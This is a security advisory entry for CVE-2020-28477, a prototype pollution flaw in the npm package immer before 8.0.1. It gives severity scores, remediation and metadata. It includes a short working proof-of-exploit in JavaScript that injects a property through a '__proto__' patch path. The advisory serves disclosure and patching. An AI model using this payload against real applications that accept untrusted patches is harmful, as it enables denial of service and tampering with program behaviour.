CVE-2020-28477 – immer

Package

Manager: npm
Name: immer
Vulnerable Version: >=7.0.0 <8.0.1

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00517 pctl0.65777

Details

Prototype Pollution in immer ## Overview Affected versions of immer are vulnerable to Prototype Pollution. ## Proof of exploit ```js const {applyPatches, enablePatches} = require("immer"); enablePatches(); let obj = {}; console.log("Before : " + obj.polluted); applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]); // applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]); console.log("After : " + obj.polluted); ``` ## Remediation Version 8.0.1 contains a [fix](https://github.com/immerjs/immer/commit/da2bd4fa0edc9335543089fe7d290d6a346c40c5) for this vulnerability, updating is recommended.

Metadata

Created: 2021-01-20T21:27:56Z
Modified: 2024-04-25T22:17:51Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/01/GHSA-9qmh-276g-x5pj/GHSA-9qmh-276g-x5pj.json
CWE IDs: ["CWE-471"]
Alternative ID: GHSA-9qmh-276g-x5pj
Finding: F138
Auto approve: 1